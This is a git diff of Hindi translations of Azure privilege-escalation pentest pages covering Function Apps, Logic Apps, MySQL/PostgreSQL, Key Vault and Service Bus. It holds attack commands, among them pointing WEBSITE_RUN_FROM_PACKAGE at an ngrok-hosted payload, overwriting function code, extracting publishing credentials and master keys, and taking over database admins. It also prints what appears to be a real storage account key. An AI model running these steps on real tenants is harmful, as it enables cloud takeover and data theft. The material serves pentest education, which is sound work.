जिसमें **ब्लॉब स्टोरेज तक पहुँचने के लिए एक खाता कुंजी होती है जिसमें पूर्ण अनुमतियाँ होती हैं**। +यह अनुमति एक फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, यह संभव है कि **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** के डिफ़ॉल्ट मान मिलें, जिसमें **ब्लॉब स्टोरेज तक FULL अनुमतियों के साथ पहुँच के लिए एक खाता कुंजी** होती है। ```bash az functionapp config appsettings list --name --resource-group ``` @@ -181,11 +181,11 @@ az functionapp config appsettings list --name --resource-group /resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` -### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा था, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है। +ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा है, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है। -इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड हो: +इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड हो: - वर्तमान कॉन्फ़िगरेशन प्राप्त करने से शुरू करें ```bash @@ -203,9 +203,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** वाली URL की ओर इशारा करता है। +- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** के URL की ओर इशारा करता है। -निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यहाँ मैंने ऐप को होस्ट किया था। +निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यही वह जगह है जहाँ मैं ऐप को होस्ट कर रहा था। ```bash # Modify the function az rest --method PUT \ @@ -213,9 +213,9 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json"}' \ --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` -### Microsoft.Web/sites/hostruntime/vfs/write +### `Microsoft.Web/sites/hostruntime/vfs/write` -इस अनुमति के साथ, **किसी एप्लिकेशन के कोड को वेब कंसोल के माध्यम से संशोधित करना संभव है** (या निम्नलिखित API एंडपॉइंट के माध्यम से): +इस अनुमति के साथ **किसी एप्लिकेशन के कोड को वेब कंसोल के माध्यम से संशोधित करना संभव है** (या निम्नलिखित API एंडपॉइंट के माध्यम से): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -224,7 +224,7 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body ``` -### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) +### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) यह अनुमति सभी प्रकाशन प्रोफाइल को सूचीबद्ध करने की अनुमति देती है, जो मूल रूप से **बुनियादी प्रमाणीकरण क्रेडेंशियल** शामिल करती है: ```bash @@ -279,7 +279,7 @@ _ध्यान दें कि **SCM उपयोगकर्ता नाम आप `https://.scm.azurewebsites.net/BasicAuth` से वेब पृष्ठ तक भी पहुँच सकते हैं। -सेटिंग्स मानों में उस स्टोरेज खाते का **AccountKey** शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित करना संभव होता है। +सेटिंग्स मानों में उस स्टोरेज खाते का **AccountKey** शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित किया जा सकता है। - **विधि FTP** @@ -299,38 +299,29 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl ``` _ध्यान दें कि **FTP उपयोगकर्ता नाम** आमतौर पर इस प्रारूप में होता है \\\$\._ -### Microsoft.Web/sites/publish/Action +### `Microsoft.Web/sites/hostruntime/vfs/read` -[**दस्तावेज़ों**](https://github.com/projectkudu/kudu/wiki/REST-API#command) के अनुसार, यह अनुमति **SCM सर्वर के अंदर कमांड निष्पादित करने** की अनुमति देती है, जिसे एप्लिकेशन के स्रोत कोड को संशोधित करने के लिए उपयोग किया जा सकता है: -```bash -az rest --method POST \ ---resource "https://management.azure.com/" \ ---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ ---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug -``` -### Microsoft.Web/sites/hostruntime/vfs/read - -यह अनुमति **ऐप का स्रोत कोड पढ़ने** की अनुमति देती है VFS के माध्यम से: +यह अनुमति **VFS के माध्यम से ऐप का स्रोत कोड पढ़ने** की अनुमति देती है: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -### Microsoft.Web/sites/functions/token/action +### `Microsoft.Web/sites/functions/token/action` -इस अनुमति के साथ, यह संभव है [**व्यवस्थापक टोकन**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त करना, जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है: +इस अनुमति के साथ यह संभव है [**व्यवस्थापक टोकन**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त करना, जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है। + +हालांकि, मेरी अंतिम जांचों में कोई टोकन वापस नहीं किया गया, इसलिए यह निष्क्रिय या अब काम नहीं कर रहा हो सकता है, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे: ```bash # Get admin token -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ ---headers '{"Content-Type": "application/json"}' \ ---debug +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ -H "Authorization: Bearer " ``` -### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) +### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकते हैं (या उन्हें अक्षम कर सकती है)। +यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकती हैं (या उन्हें अक्षम कर सकती हैं)। ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -342,17 +333,17 @@ az functionapp config appsettings set \ ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` -### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) +### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -इन अनुमतियों के साथ, यह संभव है कि **एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जाए** जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। इससे एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करने और फ़ंक्शन को इसे निष्पादित करने की अनुमति मिलेगी। +इन अनुमतियों के साथ, यह संभव है कि **एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जा सके** जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। इससे एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करने और फ़ंक्शन को इसे निष्पादित करने की अनुमति मिलेगी। ```bash az functionapp config container set --name \ --resource-group \ --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` -### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) +### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -इन अनुमतियों के साथ, **एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से संलग्न करना संभव है**। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा। +इन अनुमतियों के साथ, **एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से जोड़ा जा सकता है**। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा। ```bash az functionapp identity assign \ --name \ @@ -361,7 +352,7 @@ az functionapp identity assign \ ``` ### Remote Debugging -यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को डिबग करने के लिए कनेक्ट किया जाए जैसे कि [**दस्तावेज़ों में समझाया गया है**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर इसे छोड़ने के लिए भूल जाता है ताकि कमजोर कॉन्फ़िगरेशन न छोड़े जाएं। +यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को डिबग करने के लिए कनेक्ट किया जाए जैसे कि [**दस्तावेज़ों में समझाया गया है**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़ने से बचने के लिए भूल जाता है। यह जांचना संभव है कि क्या किसी फ़ंक्शन में डिबगिंग सक्षम है: ```bash @@ -373,8 +364,8 @@ az functionapp config set --remote-debugging-enabled=True --name --re ``` ### Change Github repo -मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github repo को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\ -इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नए रिपॉजिटरी की अनुमति नहीं मिली, इसलिए यह बहुत उपयोगी नहीं लगता। +मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github रिपॉजिटरी को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\ +इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नई रिपॉजिटरी की अनुमति नहीं मिली, इसलिए ऐसा लगता है कि यह बहुत उपयोगी नहीं है। ```bash # Remove current az functionapp deployment source delete \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index da28e95a5..f28c5017c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -10,7 +10,7 @@ ../az-services/az-keyvault.md {{#endref}} -### Microsoft.KeyVault/vaults/write +### `Microsoft.KeyVault/vaults/write` इस अनुमति के साथ एक हमलावर एक की वॉल्ट की नीति को संशोधित करने में सक्षम होगा (की वॉल्ट को RBAC के बजाय एक्सेस नीतियों का उपयोग करना चाहिए)। ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index bae03c601..96540ca73 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -5,15 +5,13 @@ ## Logic Apps Privesc SQL Database के बारे में अधिक जानकारी के लिए देखें: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action") +### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`) इस अनुमति के साथ, आप Azure Logic Apps वर्कफ़्लो बना या अपडेट कर सकते हैं। वर्कफ़्लो स्वचालित प्रक्रियाओं और विभिन्न सिस्टम और सेवाओं के बीच एकीकरण को परिभाषित करते हैं। - -{% code overflow="wrap" %} ```bash az logic workflow create \ --resource-group \ @@ -26,9 +24,7 @@ az logic workflow update \ --resource-group logicappgroup \ --definition ``` -{% endcode %} - -और इसे बदलने के बाद, आप इसे इस तरह चला सकते हैं: +और इसे बदलने के बाद, आप इसे चला सकते हैं: ```bash az rest \ --method post \ @@ -36,16 +32,12 @@ az rest \ --body '{}' \ --headers "Content-Type=application/json" ``` -### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action") +### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`) इन अनुमतियों के साथ, आप ZIP फ़ाइल तैनाती का उपयोग करके Logic App वर्कफ़्लो तैनात कर सकते हैं। ये अनुमतियाँ ऐप विवरण पढ़ने, प्रकाशन क्रेडेंशियल्स तक पहुँचने, परिवर्तनों को लिखने और ऐप कॉन्फ़िगरेशन की सूची बनाने जैसी क्रियाओं को सक्षम बनाती हैं। प्रारंभ अनुमतियों के साथ, आप इच्छित सामग्री के साथ एक नया Logic App अपडेट और तैनात कर सकते हैं। - -{% code overflow="wrap" %} ```bash az logicapp deployment source config-zip \ --name \ --resource-group \ --src ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md index c67b21896..5fbbb42b6 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -2,19 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} - ## MySQL Database Privesc SQL Database के बारे में अधिक जानकारी के लिए देखें: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write" +### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write` इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वर की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोधन, या सर्वरों को बंद करना शामिल है। - -{% code overflow="wrap" %} ```bash az mysql flexible-server create \ --name \ @@ -27,32 +24,20 @@ az mysql flexible-server create \ --tier \ --version ``` -{% endcode %} - उदाहरण के लिए, ये अनुमतियाँ MySQL पासवर्ड बदलने की अनुमति देती हैं, जो कि निश्चित रूप से तब उपयोगी होती हैं जब MySQL प्रमाणीकरण सक्षम हो। - -{% code overflow="wrap" %} ```bash az mysql flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - इसके अलावा, यदि आप किसी गैर-निजी एंडपॉइंट से एक्सेस करना चाहते हैं तो सार्वजनिक एक्सेस सक्षम होना आवश्यक है, इसे सक्षम करने के लिए: - -{% code overflow="wrap" %} ```bash az mysql flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read` -### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read"" - -इस अनुमति के साथ, आप MySQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका लाभ उठाया जा सकता है जब कोई स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करता है, जिससे MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर के पास उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों। - -{% code overflow="wrap" %} +इस अनुमति के साथ, आप MySQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करके किया जा सकता है, जो MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्रदान करता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों। ```bash az mysql flexible-server ad-admin create \ --resource-group \ @@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md index 39fb8e152..9ebd6d054 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -5,15 +5,13 @@ ## PostgreSQL Privesc SQL Database के बारे में अधिक जानकारी के लिए देखें: -{% content-ref url="../az-services/az-postgresql.md" %} +{{#ref}} [az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write` -इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वर की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोधन, या सर्वरों को बंद करना शामिल है। - -{% code overflow="wrap" %} +इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वरों की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन को संशोधित करना, या सर्वरों को बंद करना शामिल है। ```bash az postgres flexible-server create \ --name \ @@ -26,34 +24,22 @@ az postgres flexible-server create \ --tier \ --version ``` -{% endcode %} - -उदाहरण के लिए, ये अनुमतियाँ PostgreSQL पासवर्ड बदलने की अनुमति देती हैं, जो कि PostgreSQL प्रमाणीकरण सक्षम होने की स्थिति में उपयोगी है। - -{% code overflow="wrap" %} +उदाहरण के लिए, ये अनुमतियाँ PostgreSQL पासवर्ड बदलने की अनुमति देती हैं, जो कि निश्चित रूप से तब उपयोगी है जब PostgreSQL प्रमाणीकरण सक्षम हो। ```bash az postgres flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - इसके अलावा, यदि आप किसी गैर-निजी एंडपॉइंट से एक्सेस करना चाहते हैं तो सार्वजनिक एक्सेस सक्षम होना आवश्यक है, इसे सक्षम करने के लिए: - -{% code overflow="wrap" %} ```bash az postgres flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read" +इस अनुमति के साथ, आप PostgreSQL Flexible Server के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग करके आप स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट कर सकते हैं, जिससे PostgreSQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। मौजूदा प्रमुख को अपडेट करना अभी समर्थित नहीं है, इसलिए यदि कोई बनाया गया है, तो आपको पहले उसे हटाना होगा। -इस अनुमति के साथ, आप PostgreSQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग करके आप स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट कर सकते हैं, जिससे PostgreSQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। मौजूदा प्रिंसिपल को अपडेट करना अभी समर्थित नहीं है, इसलिए यदि एक बनाया गया है, तो आपको पहले उसे हटाना होगा। - -यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों। - -{% code overflow="wrap" %} +यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों। ```bash az postgres flexible-server ad-admin create \ --resource-group \ @@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 224e6a4e0..70a3c45cc 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -12,7 +12,7 @@ ### संदेश भेजें। क्रिया: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` या `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -आप `PrimaryConnectionString` प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक क्रेडेंशियल के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग के साथ, आप Service Bus namespace के रूप में पूरी तरह से प्रमाणीकरण कर सकते हैं, जिससे आप किसी भी कतार या विषय में संदेश भेज सकते हैं और संभावित रूप से सिस्टम के साथ ऐसे तरीकों से इंटरैक्ट कर सकते हैं जो संचालन को बाधित कर सकते हैं, वैध उपयोगकर्ताओं का अनुकरण कर सकते हैं, या संदेश प्रवाह में दुर्भावनापूर्ण डेटा इंजेक्ट कर सकते हैं। +आप `PrimaryConnectionString` प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक क्रेडेंशियल के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग के साथ, आप Service Bus namespace के रूप में पूरी तरह से प्रमाणित हो सकते हैं, जिससे आप किसी भी कतार या विषय में संदेश भेज सकते हैं और संभावित रूप से सिस्टम के साथ ऐसे तरीकों से इंटरैक्ट कर सकते हैं जो संचालन को बाधित कर सकते हैं, वैध उपयोगकर्ताओं का अनुकरण कर सकते हैं, या संदेश प्रवाह में दुर्भावनापूर्ण डेटा इंजेक्ट कर सकते हैं। ```python #You need to install the following libraries #pip install azure-servicebus @@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` -### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` +### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -यदि आपके पास ये अनुमतियाँ हैं, तो आप साझा पहुँच कुंजी पढ़कर या बनाकर विशेषाधिकार बढ़ा सकते हैं। ये कुंजी Service Bus namespace पर पूर्ण नियंत्रण की अनुमति देती हैं, जिसमें कतारों, विषयों का प्रबंधन और संदेश भेजना/प्राप्त करना शामिल है, जो संभावित रूप से भूमिका-आधारित पहुँच नियंत्रण (RBAC) को बायपास कर सकती हैं। +यदि आपके पास ये अनुमतियाँ हैं, तो आप साझा पहुँच कुंजी पढ़कर या बनाकर विशेषाधिकार बढ़ा सकते हैं। ये कुंजी Service Bus namespace पर पूर्ण नियंत्रण की अनुमति देती हैं, जिसमें कतारों, विषयों का प्रबंधन और संदेश भेजना/प्राप्त करना शामिल है, जो संभावित रूप से भूमिका-आधारित पहुँच नियंत्रण (RBAC) को बायपास कर सकता है। ```bash az servicebus namespace authorization-rule update \ --resource-group \ @@ -137,7 +137,7 @@ az servicebus namespace authorization-rule update \ --name RootManageSharedAccessKey \ --rights Manage Listen Send ``` -## संदर्भ +## References - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api diff --git 